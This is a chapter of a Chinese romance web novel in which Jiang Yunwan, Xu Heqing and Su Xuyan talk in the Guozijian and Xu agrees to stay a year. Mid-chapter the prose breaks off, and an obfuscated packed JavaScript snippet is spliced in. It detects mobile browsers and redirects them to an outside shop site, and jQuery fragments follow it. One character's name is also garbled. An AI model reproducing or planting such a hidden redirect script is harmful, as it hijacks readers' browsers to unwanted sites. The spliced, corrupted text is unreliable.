文趣网 > 都市小说 > 国子监学录不好当,全来招惹我 > 16. 烛火掩温澜
    屋内静了许久。

    漫长的死寂缠上心头,江云晚心底慢慢浮起慌乱,暗自思忖,莫非是自己方才一番肺腑之言,扰了徐鹤卿的心绪。

    她抬眼悄悄望去,恰好对上对方沉沉的目光。那双眸底藏着层层叠叠的心事,晦暗纠葛,让人看不透分毫。

    “江小姐。”

    良久,徐鹤卿终于出声,嗓音清润平缓,字字清晰落进寂静里。

    江云晚立刻坐直身子,凝神静待下文。

    “我很庆幸,”徐鹤卿眉眼缓缓舒展,漾开一抹真切温柔的笑意,眼底柔光缱绻,“那日诗会能与你相逢。”

    江云晚唇瓣微张,千言万语堵在心口,一时间竟无从言语,只能怔怔凝着眼前人,看着自己的身影清晰映在她澄澈的眼眸之中。

    窗外暮色层层浸染,浅蓝褪作灰蓝,最终沉成浓郁黛紫。庭院海棠的枝桠投影在窗纸之上缓缓挪移,寂然无声。

    江云晚敛了心神,抬手将攥握许久的文书轻搁在桌角,嗓音压出一丝极淡的涩意:“下官本是来递送文书,司业迟迟未归,我便先放在这里。”

    徐鹤卿轻轻颔首,未有半分挽留之意。

    江云晚起身揖礼,转身走向门口,指尖刚触上微凉门框,脚步蓦地顿住。

    “徐小姐。”

    “嗯?”

    “若你愿意,还请好好思量,留在国子监试试也不失为一种选择。”

    晚风穿窗入户,携来徐鹤卿低柔的回应,语调轻缓,却藏着郑重:“我会好好考虑。”

    江云晚推门走出值房,廊下晚风扑面而来,裹挟着草木的清润气息,凉意浸透四肢。

    她立在长廊之下,深深吐出一口浊气。胸腔里心跳急促纷乱,她却辨不清这份心绪翻涌究竟源于何处。

    待躁动的心神慢慢平复,她才抬步缓缓朝着学录厅走去。

    暮色彻底沉落,廊下灯笼连成一串,暖黄光晕洒落,将她的身影拉得修长,随着步履轻轻摇曳。

    前行数步,江云晚的脚步忽然僵住。

    长廊转角的暗影里,静静立着一道挺拔身形。

    晚风拂动衣袂,带出细微的衣料声响。那人缓缓转身,素来清冷淡漠的眉眼间,化开一抹极浅的笑意,在暖灯暮色里清晰得无可忽视。

    串串灯影摇曳不定,将地上两道人影映得忽长忽短。

    苏叙言从沉沉阴影中缓步走出,晚风撩起宽大的衣袍边角,轻扬一瞬又缓缓垂落。

    他抬眸望向江云晚,目光稳稳落在她脸上,静静停留片刻,似在暗自确认什么,又似极力压住心底翻涌的情绪。

    江云晚立在原地,宽袖下的指尖悄然攥紧。

    值房内的一幕幕尽数涌上脑海,徐鹤卿那句庆幸相逢的低语,自己脱口而出的挽留,还有彼时急促的心跳,此刻依旧历历在目、清晰可感。

    那些话语从不在她预设之内,只是彼时氛围恰好,便自然而然脱口而出。

    可此刻面对苏叙言,她心头一片空茫,全然不知该如何开口,更无从揣测,他在此伫立多久,又将方才的闲谈听去了几分。

    “司业大人……”江云晚率先打破沉寂,声线比平日柔和些许,“文书已放置案上,徐小姐仍在值房未曾离开。”

    苏叙言微微颔首,面色平淡如水,瞧不出半分喜怒。唯有浸在暖光里的眼眸沉敛幽深,藏着旁人窥探不透的深意:“嗯,辛苦了,早些回去歇息。”

    短短一语,再无半句多余问询。

    语调平直克制,与平日处置公务别无二致,分寸拿捏得当,始终隔着一层淡淡的克制。

    江云晚低眸应声,侧身从他身侧走过。擦肩的瞬间,一缕清冽冷香萦绕鼻尖,是他常年佩戴的熏香气息,清寂干净,宛若雪间松风。

    她脚步微顿,转瞬便加快步履,未曾回头。

    苏叙言立在原地,目光牢牢追随她远去的背影。少女步履轻缓,官服裙摆被晚风轻轻拂动,在沉沉暮色里一点一点走远。

    穿过绵长廊道、绕过雕花转角,那抹纤细青影彻底消融在夜色之中。

    他静静凝望片刻,收回视线后,抬手推开值房木门。

    屋内,徐鹤卿依旧端坐原位,案前清茶早已彻底凉透,看不出喝了几分。

    天光彻底散尽,屋内灯火暗沉,昏沉暗影铺满四野,将周遭景物笼得朦胧模糊。

    听闻推门动静,徐鹤卿抬眸望去,目光落在苏叙言身上,带着几分审慎的探询。

    “你早就知晓我与江小姐相识?”

    苏叙言没有否认,缓步走到案前落座,指尖轻轻叩了叩微凉的桌沿。

    “当年春日诗会,我亦在场,”他语调清淡平和,简单说了几句经过,将真正缘由深埋心底,“恰好看见你们二人论诗,也听到你赞她所作下联精妙独到。彼时我便知晓,你们心性契合,定然投缘。”

    徐鹤卿默然良久,视线落向桌角堆叠的卷宗。

    那是江云晚方才送来的文书,最顶上一册边角微微卷翘,是反复翻阅摩挲留下的痕迹。

    她眸光微定,语气笃定:“你今日特意安排我与她相见,是刻意为之?”

    苏叙言轻轻点头,坦然默认。

    徐鹤卿又沉默许久,指尖无意识摩挲着冰凉的瓷杯边缘,缓缓开口:“江小姐心怀赤诚,实在令人动容。对比她,我往日诸多顾虑与执念,未免太过狭隘浅薄。”

    言罢,她抬眼看向苏叙言,眼底坦荡恳切,褪去了往日的犹疑。

    苏叙言轻轻摇头,动作浅淡温柔,自有一番笃定:“人心各有所向,取舍从无对错。”

    徐鹤卿微微一怔。

    “人各有志,道各殊途,”苏叙言语速沉稳,字句从容,皆是深思熟虑之言,“你守本心清净,择安稳之道;她怀赤子热忱,行济世之路。道途不同,所求各异,本就不分高低优劣。”

    徐鹤卿垂眸望向杯中残茶,清澈茶汤映着窗外最后一点微光,细碎微弱,如同将熄的烛火。

    江云晚方才的话语,再度清晰回响在耳畔。

    纵使自己难抵远志,亦可为后人铺路;认清前路漫漫仍选择奔赴,远比困于原地、安于现状可贵万分。

    温柔却坚韧的声线反复萦绕,似清泉缓流,一点点抚平她多年固守的执拗与纠结。

    她又想起昔日宫宴,帝王

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946036|214066||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    铿锵之言犹在耳畔。

    陛下盼国子监革新风气,培育更多巾帼学子,以育人之地的变通,带动天下世俗改观。

    彼时她只觉这番期许太过急切,裹挟着世人仓促前行,不留半点沉淀喘息的余地。

    可江云晚的奔赴全然不同,她从不是被时局裹挟、被旁人催促,而是心怀信仰,主动踏破桎梏,奔赴前路。

    步步踏实,不问归途圆满,只求本心无憾。

    徐鹤卿闭目轻吐一口浊气,再抬眼时,眼底连日萦绕的迷茫郁结已然尽数散去,澄澈透亮。

    “我愿意留在国子监,”她语声轻柔,字字却坚定有力,“暂且留任一年,一年之后……再定往后去路。”

    苏叙言坦然颔首,不催不劝,神色淡然似早已预料:“这般便好。”

    窗外最后一丝微光彻底湮灭,沉沉夜色笼罩整座国子监,四下归于幽深静谧。

    徐鹤卿起身走到窗边,晚风携着草木微凉的清润,裹挟着一缕淡淡的清甜。

    庭院海棠临风摇曳,枝头残存的花瓣簌簌坠落,悄无声息地落在地上。

    她恍惚忆起昔年春日,栖霞山桃林遍野盛放,初见江云晚所题诗的触动骤然重回心底。

    当年无从深入探寻落笔之人,仅凭字迹便揣测是位外柔内刚、心思细腻的女子,却从未料到这般温婉安静的姑娘,胸中竟藏有如此辽阔胸襟与山河格局。

    徐鹤卿转过身,望向案前静坐的苏叙言。

    他手中捏着一卷文书,迟迟未曾展开翻阅。

    不知何时又点亮了一支烛火,淌出融融暖光,漫过他的侧脸,冲淡了常年萦绕的清冷疏离,晕开几分难得的温润柔和。

    屋内寂静无声,唯有烛火随风轻颤,在墙面投下斑驳摇曳的光影。

    烛火轻轻跳动,墙上光影错落晃动。

    徐鹤卿还没有动身离去,收回望向海棠枝头的目光,静静凝望着案前的人。

    苏叙言端坐案后,指尖依旧轻按在那叠江云晚送来的卷宗之上。

    素来习惯性微蹙的眉心已然舒展,常年紧抿的唇角也松缓开来,浮着一抹极淡的柔和。

    暖黄烛光覆满他的侧脸,褪去了朝堂与学宫之上的凛冽疏离,余下绵长温软的暖意。

    徐鹤卿眉心微拢,她认识苏叙言多年,自他还是祖父座下寡言少年时便熟知他的性情。

    年少之时,他便分寸自持、待人疏离,喜怒从不形于色。

    得赞誉不喜,遇责难不争,心性沉静如深水,任外界风雨起落,皆难掀动半分波澜。

    及至身居司业重位,执掌国子监教务,他的情绪更是藏得滴水不漏,淡漠清冷,从无人敢轻易揣测分毫。

    可此刻,对着一叠寻常公务文书,苏叙利亚眉眼流露的温柔松弛,是徐鹤卿从未见过的模样。

    这份暖意毫无刻意雕琢,显而易见是本心的自然流露,或许连他自己都未曾察觉。

    徐鹤卿心底轻轻一动,似被细羽拂过,漾开浅浅涟漪。

    她轻声开口,语气平淡闲适,宛若随口闲谈:“你顺从陛下心意劝我留任国子监,这件事里……是否藏着你的私心?”